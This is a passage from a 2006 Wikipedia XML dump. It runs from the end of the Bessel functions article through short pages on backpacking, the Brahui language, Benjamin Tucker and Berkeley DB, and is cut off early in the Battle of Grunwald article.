:&lt;math&gt;h_n^{(2)}(x) = j_n(x) - i y_n(x).&lt;/math&gt;

In fact, there are simple closed-form expressions for the Bessel functions of [[half-integer]] order in terms of the standard [[trigonometric function|trigonometric functions]], and therefore for the spherical Bessel functions.  In particular, for non-negative integers ''n'':

:&lt;math&gt;h_n^{(1)}(x) = (-i)^{n+1} \frac{e^{ix}}{x} \sum_{m=0}^n \frac{i^m}{m!(2x)^m} \frac{(n+m)!!}{(n-m)!!}&lt;/math&gt;

and ''h''&lt;sub&gt;''n''&lt;/sub&gt;&lt;sup&gt;(2)&lt;/sup&gt; is the complex-conjugate of this (for real ''x'').  (!! is the double [[factorial]].)  It follows, for example, that ''j''&lt;sub&gt;0&lt;/sub&gt;(''x'') = sin(''x'')/''x'' and ''y''&lt;sub&gt;0&lt;/sub&gt;(''x'') = -cos(''x'')/''x'', and so on.

=== Riccati-Bessel functions ===

Riccati-Bessel functions only slightly differ from spherical Bessel functions:

:&lt;math&gt;S_n(x)=x j_n(x)=\sqrt{\pi x/2}J_{n+1/2}(x)&lt;/math&gt;

:&lt;math&gt;C_n(x)=-x y_n(x)=-\sqrt{\pi x/2}Y_{n+1/2}(x)&lt;/math&gt;

:&lt;math&gt;\zeta_n(x)=x h_n^{(2)}(x)=\sqrt{\pi x/2}H_{n+1/2}^{(2)}(x)=S_n(x)+iC_n(x)&lt;/math&gt;

They satisfy the differential equation:

:&lt;math&gt;x^2 \frac{d^2 y}{dx^2} + [x^2 - n (n+1)] y = 0&lt;/math&gt;

This differential equation, and the Riccati-Bessel solutions, arises in the problem of scattering of electromagnetic waves by a sphere, known as [[Mie scattering]] after the first published solution by Mie (1908). See e.g. Du (2004) for recent developments and references.

Following [[Peter Debye|Debye]] (1909), the notation &lt;math&gt;\psi_n,\chi_n&lt;/math&gt; is sometimes used instead of 
&lt;math&gt;S_n,C_n&lt;/math&gt;.

== Asymptotic forms ==

The Bessel functions have the following asymptotic forms  for non-negative &amp;alpha;.  For small arguments &lt;math&gt;0 &lt; x \ll \sqrt{\alpha + 1}&lt;/math&gt;, one obtains:

:&lt;math&gt;J_\alpha(x) \rightarrow \frac{1}{\Gamma(\alpha+1)} \left( \frac{x}{2} \right) ^\alpha &lt;/math&gt;

:&lt;math&gt;Y_\alpha(x) \rightarrow  \left\{ \begin{matrix}
  \frac{2}{\pi} \left[ \ln (x/2) + \gamma \right]  &amp; \mbox{if } \alpha=0 \\ \\
  -\frac{\Gamma(\alpha)}{\pi} \left( \frac{2}{x} \right) ^\alpha &amp; \mbox{if } \alpha &gt; 0 
\end{matrix} \right.&lt;/math&gt;

where &amp;gamma; is the [[Euler-Mascheroni constant]] (0.5772...) and &amp;Gamma; denotes the [[gamma function]].  For large arguments &lt;math&gt;x \gg |\alpha^2 - 1/4|&lt;/math&gt;, they become:

:&lt;math&gt;J_\alpha(x) \rightarrow \sqrt{\frac{2}{\pi x}} 
        \cos \left( x-\frac{\alpha\pi}{2} - \frac{\pi}{4} \right)&lt;/math&gt; 

:&lt;math&gt;Y_\alpha(x) \rightarrow \sqrt{\frac{2}{\pi x}} 
        \sin \left( x-\frac{\alpha\pi}{2} - \frac{\pi}{4} \right).&lt;/math&gt;

(For &amp;alpha;=1/2 these formulas are exact; see the spherical Bessel functions above.) Asymptotic forms for the other types of Bessel function follow straightforwardly from the above relations.  For example, for large &lt;math&gt;x \gg |\alpha^2 - 1/4|&lt;/math&gt;, the modified Bessel functions become:

:&lt;math&gt;I_\alpha(x) \rightarrow \frac{1}{\sqrt{2\pi x}} e^x,&lt;/math&gt;

:&lt;math&gt;K_\alpha(x) \rightarrow \sqrt{\frac{\pi}{2x}} e^{-x}.&lt;/math&gt;

while for small arguments &lt;math&gt;0 &lt; x \ll \sqrt{\alpha + 1}&lt;/math&gt;, they become:

:&lt;math&gt;I_\alpha(x) \rightarrow \frac{1}{\Gamma(\alpha+1)} \left( \frac{x}{2} \right) ^\alpha &lt;/math&gt;

:&lt;math&gt;K_\alpha(x) \rightarrow  \left\{ \begin{matrix}
  - \ln (x/2) - \gamma   &amp; \mbox{if } \alpha=0 \\ \\
  \frac{\Gamma(\alpha)}{2} \left( \frac{2}{x} \right) ^\alpha &amp; \mbox{if } \alpha &gt; 0 
\end{matrix} \right.&lt;/math&gt;

==Properties==

For integer order &amp;alpha; = ''n'', ''J''&lt;sub&gt;''n''&lt;/sub&gt; is often defined via a [[Laurent series]] for a generating function:

:&lt;math&gt;e^{(x/2)(t-1/t)} = \sum_{n=-\infty}^\infty J_n(x) t^n,&lt;/math&gt;

an approach used by [[P. A. Hansen]] in 1843.  (This can be generalized to non-integer order by [[contour integration]] or other methods.)  Another important relation for integer orders is the '''Jacobi-Anger identity''':

:&lt;math&gt;e^{iz \cos \phi} = \sum_{n=-\infty}^\infty i^n J_n(z) e^{in\phi},&lt;/math&gt;

which is used to expand a [[plane wave]] as a sum of cylindrical waves, or to find the [[Fourier series]] of a tone modulated [[Frequency modulation|FM]] signal.

The functions ''J''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;, ''Y''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;, ''H''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;&lt;sup&gt;(1)&lt;/sup&gt;, and ''H''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;&lt;sup&gt;(2)&lt;/sup&gt; all satisfy the [[recurrence relation]]s:

:&lt;math&gt;Z_{\alpha-1}(x) + Z_{\alpha+1}(x) = \frac{2\alpha}{x} Z_\alpha(x)&lt;/math&gt;

:&lt;math&gt;Z_{\alpha-1}(x) - Z_{\alpha+1}(x) = 2\frac{dZ_\alpha}{dx}&lt;/math&gt;

where ''Z'' denotes ''J'', ''Y'', ''H''&lt;sup&gt;(1)&lt;/sup&gt;, or ''H''&lt;sup&gt;(2)&lt;/sup&gt;.  (These two identities are often combined, e.g. added or subtracted, to yield various other relations.) In this way, for example, one can compute Bessel functions of higher orders (or higher derivatives) given the values at lower orders (or lower derivatives).  In particular, it follows that:

:&lt;math&gt;\left( \frac{d}{x dx} \right)^m \left[ x^\alpha Z_{\alpha} (x) \right] = x^{\alpha - m} Z_{\alpha - m} (x)&lt;/math&gt;

:&lt;math&gt;\left( \frac{d}{x dx} \right)^m \left[ \frac{Z_\alpha (x)}{x^\alpha} \right] = (-1)^m \frac{Z_{\alpha + m} (x)}{x^{\alpha + m}}&lt;/math&gt;

Because Bessel's equation becomes [[Hermitian]] (self-adjoint) if it is divided by ''x'', the solutions must satisfy an orthogonality relationship for appropriate boundary conditions.  In particular, it follows that:

:&lt;math&gt;\int_0^1 x J_\alpha(x u_{\alpha,m}) J_\alpha(x u_{\alpha,n}) dx = \frac{\delta_{m,n}}{2} J_{\alpha+1}(u_{\alpha,m})^2,&lt;/math&gt;

where &amp;alpha; &gt; -1, &amp;delta;&lt;sub&gt;''m'',''n''&lt;/sub&gt; is the [[Kronecker delta]], and ''u''&lt;sub&gt;&amp;alpha;,m&lt;/sub&gt; is the ''m''-th [[root (mathematics)|zero]] of ''J''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;(''x'').  This orthogonality relation can then be used to extract the coefficients in the ''Fourier-Bessel series'', where a function is expanded in the basis of the functions ''J''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;(''x'' ''u''&lt;sub&gt;&amp;alpha;,m&lt;/sub&gt;) for fixed &amp;alpha; and varying ''m''.  (An analogous relationship for the spherical Bessel functions follows immediately.)

Another orthogonality relation is the ''closure equation'':

:&lt;math&gt;\int_0^\infty x J_\alpha(ux) J_\alpha(vx) dx = \frac{1}{u} \delta(u - v)&lt;/math&gt;

for &amp;alpha; &gt; -1/2 and where &amp;delta; is the [[Dirac delta function]]. For the spherical Bessel functions the orthogonality relation is:

:&lt;math&gt;\int_0^\infty x^2 j_\alpha(ux) j_\alpha(vx) dx = \frac{\pi}{2u^2} \delta(u - v)&lt;/math&gt;

for &amp;alpha; &gt; 0.

Another important property of Bessel's equations, which follows from [[Abel's identity]], involves the [[Wronskian]] of the solutions:

:&lt;math&gt;A_\alpha(x) \frac{dB_\alpha}{dx} - \frac{dA_\alpha}{dx} B_\alpha(x) = \frac{C_\alpha}{x},&lt;/math&gt;

where ''A''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; and ''B''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; are any two solutions of Bessel's equation, and ''C''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; is a constant independent of ''x'' (which depends on &amp;alpha; and on the particular Bessel functions considered).  For example, if ''A''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; = ''J''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; and ''B''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; = ''Y''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;, then ''C''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; is 2/&amp;pi;.  This also holds for the modified Bessel functions; for example, if ''A''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; = ''I''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; and ''B''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; = ''K''&lt;sub&gt;&amp;alpha;&lt;/sub&gt;, then ''C''&lt;sub&gt;&amp;alpha;&lt;/sub&gt; is -1.

(There are a large number of other known integrals and identities that are not reproduced here, but which can be found in the references.)

== References ==

* Milton Abramowitz and Irene A. Stegun, eds., ''[[Handbook of Mathematical Functions]] with Formulas, Graphs, and Mathematical Tables'' (Dover: New York, 1972)
** [http://www.math.sfu.ca/~cbm/aands/page_355.htm Chapter 9] Bessel Functions of integer order
***[http://www.math.sfu.ca/~cbm/aands/page_358.htm Section 9.1] J, Y (Weber) and H (Hankel)
***[http://www.math.sfu.ca/~cbm/aands/page_374.htm Section 9.6] Modified (I and K)
***[http://www.math.sfu.ca/~cbm/aands/page_379.htm Section 9.9] Kelvin functions
** [http://www.math.sfu.ca/~cbm/aands/page_435.htm Chapter 10] Bessel Functions of fractional order
***[http://www.math.sfu.ca/~cbm/aands/page_437.htm Section 10.1] Spherical Bessel Functions (j, y and h)
***[http://www.math.sfu.ca/~cbm/aands/page_443.htm Section 10.2] Modified Spherical Bessel functions (I and K)
***[http://www.math.sfu.ca/~cbm/aands/page_445.htm Section 10.3] Riccati-Bessel Functions
***[http://www.math.sfu.ca/~cbm/aands/page_446.htm Section 10.4] Airy functions
* George B. Arfken and Hans J. Weber, ''Mathematical Methods for Physicists'' (Harcourt: San Diego, 2001).
* Frank Bowman, ''Introduction to Bessel Functions'' (Dover: New York, 1958) ISBN 0486604624.
* G. N. Watson, ''A Treatise on the Theory of Bessel Functions, Second Edition'', (1966) Cambridge University Press.
* G. Mie, &quot;Beiträge zur Optik trüber Medien, speziell kolloidaler Metallösungen&quot;, ''Ann. Phys.  Leipzig''  '''25'''(1908), p.377.
* Hong Du, &quot;Mie-scattering calculation,&quot; ''Applied Optics'' '''43''' (9), 1951-1956 (2004).

[[Category:Special functions]]
[[Category:Special hypergeometric functions]]

[[de:Besselsche Differentialgleichung]]
[[fr:Fonction de Bessel]]
[[it:Funzioni di Bessel]]
[[ja:&amp;#12505;&amp;#12483;&amp;#12475;&amp;#12523;&amp;#38306;&amp;#25968;]]
[[pl:Funkcje Bessela]]
[[sl:Besslova funkcija]]</text>
    </revision>
  </page>
  <page>
    <title>Backpacking</title>
    <id>4701</id>
    <revision>
      <id>38651352</id>
      <timestamp>2006-02-07T19:26:39Z</timestamp>
      <contributor>
        <username>Squib</username>
        <id>367231</id>
      </contributor>
      <text xml:space="preserve">'''Backpacking''' refers to:
{{wiktionarypar|backpacking}}
* [[Backpacking (wilderness)]]: hiking and camping overnight in backcountry with one's gear carried in a backpack
* [[Backpacking (travel)]]: low-cost, generally urban, travel with minimal luggage and frugal accommodations
* [[Backpacker (Hip-Hop)]]: a pop-culture subgroup
{{disambig}}

[[de:Rucksacktourismus]]
[[ja:&amp;#12496;&amp;#12483;&amp;#12463;&amp;#12497;&amp;#12483;&amp;#12461;&amp;#12531;&amp;#12464;]]
[[nl:Rugzaktoerisme]]
[[pl:Backpacking]]
[[pt:Mochileiro]]
[[zh:&amp;#32972;&amp;#21253;&amp;#23458;]]</text>
    </revision>
  </page>
  <page>
    <title>Brahui language</title>
    <id>4702</id>
    <revision>
      <id>39741377</id>
      <timestamp>2006-02-15T15:16:24Z</timestamp>
      <contributor>
        <username>Krsont</username>
        <id>637274</id>
      </contributor>
      <text xml:space="preserve">The '''Brahui''' [[language]] is mainly spoken in [[Balochistan, Pakistan]], although also in [[Afghanistan]] and [[Iran]] by the [[Brahui]]. It reportedly [http://www.ethnologue.com/show_language.asp?code=brh] has about two million speakers in [[Pakistan]] (1998), and a tenth that number elsewhere.  In Pakistan it is mainly spoken in the [[Kalat]] region of Balochistan.

Although it is a [[Dravidian languages|Dravidian]] language, it has been heavily influenced by other languages spoken in the area and shares few words with the Dravidian languages spoken in southern [[India]] and [[Sri Lanka]].

Brahui is generally considered to be a remnant of a formerly more widespread Dravidian language family that was reduced during the [[Indo-Aryan migration]]. It is also sometimes speculated that Brahui might be a direct legacy of the [[Indus Valley Civilisation]].

== External links==
*[http://www.brahui.com/ A site by Shafique-Ur-Rehman about Brahui language ]
*[http://www.southasiabibliography.de/Bibliography/Dravidian/Brahui___Birouhi/brahui___birouhi.html partial bibliography of scholarly works on Brahui]
*[http://www.wordgumbo.com/dr/bra/erengbra.htm  English to Brahui word list]

[[Category:Dravidian languages]]
[[Category:Languages of Afghanistan]]
[[Category:Languages of Iran]]
[[Category:Languages of Pakistan]]

[[de:Brahui (Sprache)]]
[[fr:Brahui]]
[[id:Bahasa Brahui]]
[[fi:Brahuin kieli]]
[[sv:Brahui]]


{{lang-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Bob Dylans Debut</title>
    <id>4703</id>
    <revision>
      <id>15902963</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bob Dylan]]
</text>
    </revision>
  </page>
  <page>
    <title>Bestiality</title>
    <id>4704</id>
    <revision>
      <id>41219671</id>
      <timestamp>2006-02-25T21:44:09Z</timestamp>
      <contributor>
        <username>Mego'brien</username>
        <id>920752</id>
      </contributor>
      <comment>rv redundancy to leb 72.59.25.67</comment>
      <text xml:space="preserve">{{wiktionarypar|Bestiality}} '''Bestiality''' may refer to:

* [[Bestial sign]] - [[astrological]] signs that represent [[animal|animals]].
* [[Animal behaviour|Bestial instinct]] - the [[instinct]] of [[animal|animals]].
* [[zoophilia|Bestial sexuality]] (aka [[Zoophilia]]) - [[Sexual orientation]] or [[sexual activity]] between [[human|humans]] and [[fictional]] [[humanoid|humanoids]] or between [[human|humans]] and [[animal|animals]].
* Sexual activity, that is characterized by raw, unlimited, brutish practices (to be classified as F65.8 in WHO's ICD-10)

{{disambiguation}}</text>
    </revision>
  </page>
  <page>
    <title>Benjamin Tucker</title>
    <id>4705</id>
    <revision>
      <id>41629111</id>
      <timestamp>2006-02-28T17:13:05Z</timestamp>
      <contributor>
        <username>RJII</username>
        <id>141644</id>
      </contributor>
      <comment>/* Summary */ this is not true. It's not the absolute number, but the proportion.</comment>
      <text xml:space="preserve">[[Image:BenjaminTucker.jpg|thumb|right|Benjamin Ricketson Tucker]]
'''Benjamin Tucker''' ([[April 17]], [[1854]] &amp;ndash; [[June 22]], [[1939]]) was the leading proponent of  [[American individualist anarchism]] in the [[19th century]].

==Summary==

'''Benjamin Ricketson Tucker''''s contribution to [[American individualist anarchism]] was as much through his [[publishing]] as his own writing. In editing and publishing the anarchist periodical ''[[Liberty (19th century magazine)|Liberty]]'', Tucker both filtered and integrated the theories of such European thinkers as [[Herbert Spencer]] and [[Pierre-Joseph Proudhon]] with the thinking of American individualist activists, [[Lysander Spooner]], [[William B. Greene]] and [[Josiah Warren]], as well as the ideas of the [[Free thinker|free thought]] and [[free love]] movements in order to produce a rigorous system of philosophical- or [[individualist anarchism]] that he called ''Anarchistic-Socialism''. [http://www.infoshop.org/faq/secGint.html]

Tucker shared with the advocates of free love and free thought a disdain for prohibitions on non-invasive behavior and religiously-based legislation, but he saw the poor condition of American workers as a result of four state-maintained [[monopoly|monopolies]]: 
# the money monopoly, 
# the land monopoly, 
# tariffs, and 
# patents. 

His focus for several decades became the state's economic control of how trade could take place, and what currency counted as legitimate. He saw interest and profit as a form of exploitation, claiming that while not directly examples of [[coercion]] (or &quot;invasion&quot; as Tucker preferred to say), they were nevertheless made possible by banking monopoly, which was in turn maintained through coercion and invasion, usually at the hands of the state. Any such interest and profit, Tucker called &quot;[[usury]]&quot; and he saw it as the basis for the oppression of the workers. He asserted that anarchism is meaningless &quot;unless it includes the liberty of the individual to control his product or whatever his product has brought him through exchange in a free market&amp;#8212;that is, private property.&quot; In this Tucker followed Proudhon in rejecting modern conceptions of private property, in which claims of ownership are independent of use or production of that property.  As Gary Elkin {{verify credibility}} writes in ''Benjamin Tucker - Anarchist or capitalist?'', &quot;Tucker advocated *possession* but not private property, believing that empty land, houses, etc. should be squatted.  He considered private property in land use (which he called the &quot;land monopoly&quot;) as one of the four great evils of capitalism.&quot; [http://www.spunk.org/library/otherpol/critique/sp001281.txt]

Tucker hoped to raise wages by deregulating the banking industry. He reasoned that competition in banking would drive down interest rates and stimulate entrepreneurship. This in turn, he believed would decrease the proportion of individuals seeking employment, and hence, wages would be driven up by competing employers. &quot;Thus, the same blow that strikes interest down will send wages up.&quot; [http://praxeology.net/BT-SSA.htm]

He was the first to translate into English Proudhon's ''What is Property?'' and [[Max Stirner]]'s ''The Ego and Its Own'' &amp;mdash; which Tucker claimed was his proudest accomplishment.

''Liberty'' published the original work of [[Lysander Spooner]], [[Auberon Herbert]], [[Victor Yarros]], and [[Lillian Harman]], daughter of the free love anarchist, [[Moses Harman]].

''Liberty'' also published such items as [[George Bernard Shaw]]'s first original article to appear in the United States and the first American translated excerpts of [[Friedrich Nietzsche]].

Tucker's periodical also served as the main conduit of Stirnerite [[Egoism]], of which Tucker became a proponent. This led to a split in American Individualism -- between the growing number of Egoists and the contemporary [[Lysander Spooner|Spoonerian]] &quot;[[Natural law|Natural Lawyers]]&quot;. Both Egoists and Natural Law theorists rejected coercive authority, involuntary legislation, and the notion of a &quot;[[social contract]].&quot; However, they differed over the philosophical basis for their individualism: Natural Law theory derived it from a conception of a natural individual right to be free from coercion, whereas Egoism defended anarchism as a pragmatic compromise in a system where each individual sought only self-interest. As a result of Tucker's egoist foundation, he began to favor utilitarian outcomes over axiomatic absolutes.  He believed that it was wrong to enforce contract on those faced with death and suffering. He says:
&lt;blockquote&gt;&quot;the ultimate end of human endeavor is the minimum of pain. We aim to decrease invasion only because, as a rule, invasion increases the total of pain (meaning, of course, pain suffered by the ego, whether directly or through sympathy with others). But it is precisely my contention that this rule, despite the immense importance which I place upon it, is not absolute; that, on the contrary, there are exceptional cases where invasion -that is, coercion of the non-invasive lessens the aggre- gate pain. Therefore coercion of the non-invasive, when justifiable at all, is to be justified on the ground that it secures, not a minimum of ' invasion, but a minimum of pain. . . . [T]o me [it is] axiomatic -that the ultimate end is the minimum of pain.&quot;&lt;/blockquote&gt;
Having rejected the moral philosophy of Lysander Spooner, ''Liberty'' also abandoned the remaining advocates of natural rights, now considering their moral philosophy to be old-fashioned and superstitious.

==Dates, Places and Events==

Born April 17, [[1854]] in South Dartmouth, Massachusetts.

*[[1872]] &amp;mdash; While a student at M.I.T., Tucker attended a convention of the New England Labor Reform League in Boston, chaired by [[William B. Greene]], author of [[Mutual Banking]] (1850). At the convention, Tucker purchased ''Mutual Banking'', ''True Civilization'', and a set of Ezra Heywood's pamphlets. Furthermore, [[Free-love]] anarchist, [[Ezra Heywood]] introduced Tucker to [[William B. Greene]] and [[Josiah Warren]], author of ''True Civilization'' (1869).

*[[1876]] &amp;mdash; Tucker's debut into radical circles: Heywood published Tucker's English translation of [[Pierre-Joseph Proudhon|Proudhon]]'s classic work ''What is Property?''.

*[[1877]]-[[1878]] &amp;mdash; Published his original journal, ''Radical Review'', which lasted four issues.

August [[1881]] to April [[1908]] &amp;mdash; published the periodical, ''Liberty'', &quot;widely considered to be the finest individualist-anarchist periodical ever issued in the English language.&quot;

*[[1892]] &amp;mdash; moved ''Liberty'' from Boston to New York

*[[1906]] &amp;mdash; Opened '''Tucker's Unique Book Shop''' in New York City &amp;mdash; promoting &quot;Egoism in Philosophy, Anarchism in Politics, Iconoclasm in Art&quot;.

*[[1908]] &amp;mdash; A fire destroyed Tucker's uninsured printing equipment and his 30-year stock of books and pamphlets. Tucker's lover, Pearl Johnson &amp;mdash; 25 years his junior &amp;mdash; was pregnant with their daughter, Oriole Tucker. Six weeks after Oriole's birth, Tucker closed both ''Liberty'' and the book shop and moved his family to France.

*[[1913]] &amp;mdash; Tucker comes out of retirement for two years to contribute articles and letters to ''[[The New Freewoman]]'' which he called &quot;the most important publication in existence&quot;

*[[1939]] &amp;mdash; Tucker died in [[Monaco]], in the company of his lover Pearl Johnson and their daughter, Oriole, who reported, &quot;Father's attitude towards communism never changed one whit, nor about religion.... In his last months he called in the French housekeeper. 'I want her,' he said, 'to be a witness that on my death bed I'm not recanting. I do not believe in God!&quot; J. William Lloyd [http://www.mises.org/fullstory.aspx?control=697&amp;fs=memories+of+benjamin+tucker wrote that] &quot;There was nothing he hated more than communism, and the Communist-Anarchists used to call him 'the Pope'.&quot;

==See also==
* [[American individualist anarchism]]
* [[Liberty (1881-1908)]] ''Liberty'', Tucker's periodical

==External links==
* [http://www.infoshop.org/faq/append11.html#app4] Tucker on Property, Communism and Socialism
* [http://www.BlackCrayon.com/people/tucker/ BlackCrayon.com: People: Benjamin Tucker]
* [http://dwardmac.pitzer.edu/Anarchist_Archives/bright/tucker/ Benjamin Tucker] Anarchy Archives
* [http://www.zetetics.com/mac/tir1.htm ''Benjamin Tucker, Liberty, and Individualist Anarchism'' by Wendy McElroy]
* [http://classicalliberalism.blogspot.com/2005_04_01_classicalliberalism_archive.html ''Benjamin Ricketson Tucker''] from &quot;CLASSicalLiberalism&quot; archive
* [http://www.google.com/url?sa=t&amp;ct=res&amp;cd=1&amp;url=http%3A//www.mises.org/journals/jls/1_4/1_4_4.pdf ''Benjamin Tucker and His Periodical, Liberty''] by Carl Watner 
* [http://www.panarchy.org/tucker/taxation.html Benjamin Tucker, Liberty and Taxation]
* [http://www.mises.org/fullstory.aspx?control=697 ''Memories of Benjamin Tucker''] by [[J. William Lloyd]] (1935)
* [http://www.zetetics.com/mac/blog/00000949.html ''An Interview With Oriole Tucker''] Tucker's daughter reveals biographical information, by Paul Avrich


[[Category:1854 births|Tucker, Benjamin]]
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  <page>
    <title>Berkeley DB</title>
    <id>4706</id>
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        <username>Intgr</username>
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      <text xml:space="preserve">'''Berkeley DB''' (DB) is a high-performance, embedded [[database]] library with bindings in [[C programming language|C]], [[C++]], [[Java programming language|Java]], [[Perl]], [[Python programming language|Python]], [[Tcl]] and many other programming languages.  DB stores arbitrary key/data pairs, and supports multiple data items for a single key.  DB can support thousands of simultaneous threads of control manipulating databases as large as 256 terabytes, on a wide variety of systems including most [[UNIX-like]] and [[Microsoft Windows|Windows]] systems as well as [[real-time operating system|real-time operating systems]].

Berkeley DB is developed by [[Sleepycat Software]] (owned by [[Oracle Corporation]]). It is available with source code under a [[free software license]]. Developers who want to redistribute DB with proprietary applications must license it from Sleepycat.

Berkeley DB includes compatibility interfaces for some historic UNIX database libraries: [[dbm]], [[ndbm]] and [[hsearch]].

==Architecture==
Berkeley DB is notable for having a simple architecture compared with other database systems like [[Microsoft SQL Server]] and [[Oracle database|Oracle]]. For example, it does not provide support for network access &amp;mdash; programs access the database using in-process [[Application programming interface|API]] calls. It does not support [[SQL]] or any other [[query language]], nor does it support table schema or table columns. A program accessing the database is free to decide how the data is to be stored in a record; DB puts no constraints on the record's data. The record and its key can both be up to four gigabytes long. 

Despite having a simple architecture, Berkeley DB supports many advanced database features such as [[ACID]] [[Database transaction|transactions]], fine-grained [[Lock (computer science)|locking]], an [[X/Open XA|XA]] interface, hot [[backup]]s and [[replication (computer science)|replication]].

==Programs that use Berkeley DB==
Berkeley DB is the underlying storage system of several [[Lightweight Directory Access Protocol|LDAP]] servers, database system, and many other commercial and [[Open Source]] applications. Below is a list of notable programs that use Berkeley DB for data storage.
* [[MySQL]] database system - A [[Thread (computer science)|multithread]]ed, [[multi-user]], [[SQL]] (Structured Query Language) Database Management System ([[DBMS]]) with an estimated six million installations.  (BDB is one of several data storage backends available for MySQL; others include [[MyISAM]] and [[InnoDB]].)
* [[Subversion (software)|Subversion]] - A [[version control system]] designed specifically to replace [[Concurrent_Versions_System|CVS]]
* [[KDevelop]] - A [[free software|free]] [[C programming language|C]] and [[C++]] [[Integrated Development Environment|IDE]] for [[Linux]] and other [[Unix-like]] [[operating system]]s
* [[Sun GridEngine]] - An [[open source]] distributed resource management system; the most popular batch-queueing job scheduler for compute farms.
* [[Movable Type]] - A proprietary [[weblog]] publishing system developed by [[California]]-based [[Six Apart]]
* [[Caravel CMS]] -  An [[open source]] [[content management system]] originally designed for the 2,000+ organizations of the [[Mennonite Church]] 
* [[OpenLDAP]] - A free, [[open source]] implementation of the Lightweight Directory Access Protocol (LDAP)
* [[KLibido]] - A free, [[open source]] [[Newsgroup]] reader tailored for binary downloads
* [[Citadel/UX|Citadel]] - An [[open source]] groupware platform that keeps all of its data stores, including the message base, in Berkeley DB.
* [[Bogofilter]] - an [[open source]] spamfilter that saves its wordlists using Berkeley DB.

==Licensing==
Versions 2.0 and higher of Berkeley DB are available under a [[dual license]] (see http://www.sleepycat.com/download/licensinginfo.shtml).  Versions &lt;2.0 are available under the BSD license, which means free use commercially.

==External links==
* [http://www.sleepycat.com/ Sleepycat Software] (makers of Berkeley DB)

[[Category:Open source database management systems]]

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  <page>
    <title>Battle of Grunwald</title>
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      <comment>spaces between words</comment>
      <text xml:space="preserve">:''For the 1914 battle at the same location, refer to [[Battle of Tannenberg (1914)]]''
{{Infobox Military Conflict
|conflict=Battle of Grunwald
|partof=the [[Polish-Lithuanian-Teutonic War (1409–1411)]]
|image= [[Image:Grunwald bitwa.jpg|300px|Battle of Grunwald]]|
|caption= The ''' ''Battle of Grunwald'' ''' by [[Jan Matejko]], [[1878]]. Oil on canvas.
|date= [[July 15]], [[1410]]
|place= [[Grunwald]] ([[Tannenberg]]), present-day [[Poland]]
|result= Decisive Polish&amp;ndash;Lithuanian victory
|combatant1= [[Jagiellon Poland|Kingdom of Poland]]&lt;br&gt;[[Grand Duchy of Lithuania]]
|combatant2= [[Teutonic Order]]
|commander1= [[Wladyslaw Jagiello|Władysław Jagiełło]], [[Vytautas the Great]]
|commander2= [[Ulrich von Jungingen]]
|strength1= 39,000
|strength2= 27,000
|casualties1= Unknown
|casualties2= 8,000 dead&lt;br&gt;2,000 captured
}}
{{Campaignbox Polish-Lithuanian-Teutonic War (1409–1411)}}

The '''Battle of Grunwald''' or '''Battle of Tannenberg''' took place on [[July 15]] [[1410]] between the [[Jagiellon Poland|Kingdom of Poland]], the [[Grand Duchy of Lithuania]] and their allies on one side, and the Knights of the [[Teutonic Order]] on the other. It was the decisive battle of the [[Polish-Lithuanian-Teutonic War (1409-1411)]] and the greatest battle of medieval Europe. The [[Monastic State of the Teutonic Knights]] was defeated in the battle and never recovered its former influence.

The few eyewitness accounts of the battle are contradictory. The battle was fought in the plains between the villages of [[Grunwald]] (''Žalgiris'' in [[Lithuanian language|Lithuanian]]), [[Stębark]] (''Tannenberg'' in [[German language|German]]) and [[Łodwigowo]] (''Ludwigsdorf'' in German) in what was then territory of the Order, now part of [[Poland]]. The nearest city of any size was [[Dąbrówno]] (''Gilgenburg'' in German). The names Žalgiris (from Lithuanian: ''žalia giria'') and Grunwald (from German: ''grüner Wald''), are both tentatively translated as ''Green forest''. It was also named in Old Polish as Zielone Pole (Polish ''Green field'') and German Grunenfelde, Grunefeld ''Green field'' in the oldest texts.

The battle is called ''Schlacht bei Tannenberg'' (''Battle of Tannenberg'') by [[Germans]], ''Žalgirio mūšis'' (''Battle of Žalgiris'') by [[Lithuanians]], ''Bitwa pod Grunwaldem'' (''Battle of Grunwald'') by [[Poles]], ''Гру́нвальдзкая бі́тва'' (''Battle of Grunwald'') by [[Belarusians]] and ''Grünwald suğışı'' by [[Tatars]].

== Eve of the battle ==
[[Image:Grunwald_Wojciech_Kossak.jpg|right|thumb|400px|''Grunwald'', painted by [[Wojciech Kossak]].]]

In the [[13th century]], the Teutonic Knights had been invited to the lands surrounding [[Chełmno]] to assist in the expulsion of the ([[paganism|pagan]]) [[Prussians]]. They stayed on, and, under a [[Pope|papal]] edict which gave them effective ''carte blanche'' to act as they wished, established a power base in the region, occupying the [[Baltic sea|Baltic]] coastal regions of what are now [[Latvia]], [[Lithuania]] and [[Estonia]], and showed every sign of further expansion. Their incursions into Poland in the [[14th century]] gave them control of major towns such as [[Chełmno]] (Kulm) and [[Pomorze]] (Pommern) region. In order to further their war efforts against the (pagan) Lithuanian state, the Teutonic Knights instituted a series of [[crusade]]s, enlisting support from other European countries.

In [[1385]] the [[Union of Krewo]] joined the crown of Poland and Lithuania, and the subsequent marriage of [[Jogaila]], [[Grand Duke of Lithuania]], and the [[King of Poland|Polish monarch]] [[Jadwiga of Poland|Queen Jadwiga]] was to shift the balance of power; both nations were more than aware that only by acting together could the expansion plans of the Teutonic Order be thwarted. Jogaila accepted Christianity and became the King of Poland as [[Wladislaus II of Poland|Władysław Jagiełło]], which removed much of the rationale of the Teutonic Knights' anti-pagan crusades.

